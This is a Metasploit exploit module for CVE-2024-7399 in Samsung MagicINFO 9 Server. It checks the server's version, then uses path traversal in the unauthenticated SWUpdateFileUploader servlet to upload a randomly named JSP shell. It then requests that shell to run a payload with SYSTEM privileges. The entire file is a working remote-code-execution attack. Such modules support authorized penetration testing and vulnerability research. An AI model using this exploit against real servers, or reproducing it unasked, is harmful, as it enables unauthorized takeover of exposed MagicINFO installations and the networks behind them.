class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)', 'Description' => %q{ Remote Code Execution in Samsung MagicINFO 9 Server <= 21.1050.0. Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet, which can be queried by an unauthenticated user to upload a JSP shell. By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Heinzl', # MSF Module 'SSD Secure Disclosure' # Discovery and PoC ], 'References' => [ ['URL', 'https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/'], ['URL', 'https://security.samsungtv.com/securityUpdates'], ['CVE', '2024-7399'] # SVE-2024-50018 ], 'DisclosureDate' => '2025-04-30', 'DefaultOptions' => { 'RPORT' => 7002, 'SSL' => 'True' }, 'Platform' => [ 'windows' ], 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Java Server Page', { 'Platform' => %w[win], 'Arch' => ARCH_JAVA } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI for the MagicInfo web interface', '/MagicInfo']), OptInt.new('DEPTH', [true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 6]) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'config.js') }) return CheckCode::Unknown unless res&.code == 200 js_object = res.body.to_s[/window\.globalConfig = (\{.+\})/m, 1] return CheckCode::Safe('Could not extract globalConfig object from response.') unless js_object json_b = js_object.gsub(/'/, '"') # replace ' with " so that we can use JSON.parse on the response body data = JSON.parse(json_b) full_version = data.fetch('magicInfoFrontEndVersion', nil) version = full_version[/Server\s+([\d.]+)/, 1] return CheckCode::Unknown unless version unless Rex::Version.new(version) > Rex::Version.new('21.1050.0') vprint_status("MagicINFO version detected: #{full_version}") return CheckCode::Appears end return CheckCode::Safe end def exploit execute_command(payload.encoded) end def execute_command(cmd) print_status('Uploading shell...') shell = Rex::Text.rand_text_alpha(8..12) traversal = '../' * datastore['DEPTH'] res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'text/plain', 'data' => cmd, 'uri' => normalize_uri(target_uri.path, 'servlet', "SWUpdateFileUploader?fileName=./#{traversal}server/#{shell}.jsp") }) if res&.code == 200 print_good('Upload successful.') res1 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{shell}.jsp"), 'method' => 'GET' }) fail_with(Failure::PayloadFailed, 'Failed to execute the payload.') unless res1&.code == 200 print_status('Payload executed!') else fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.') end end end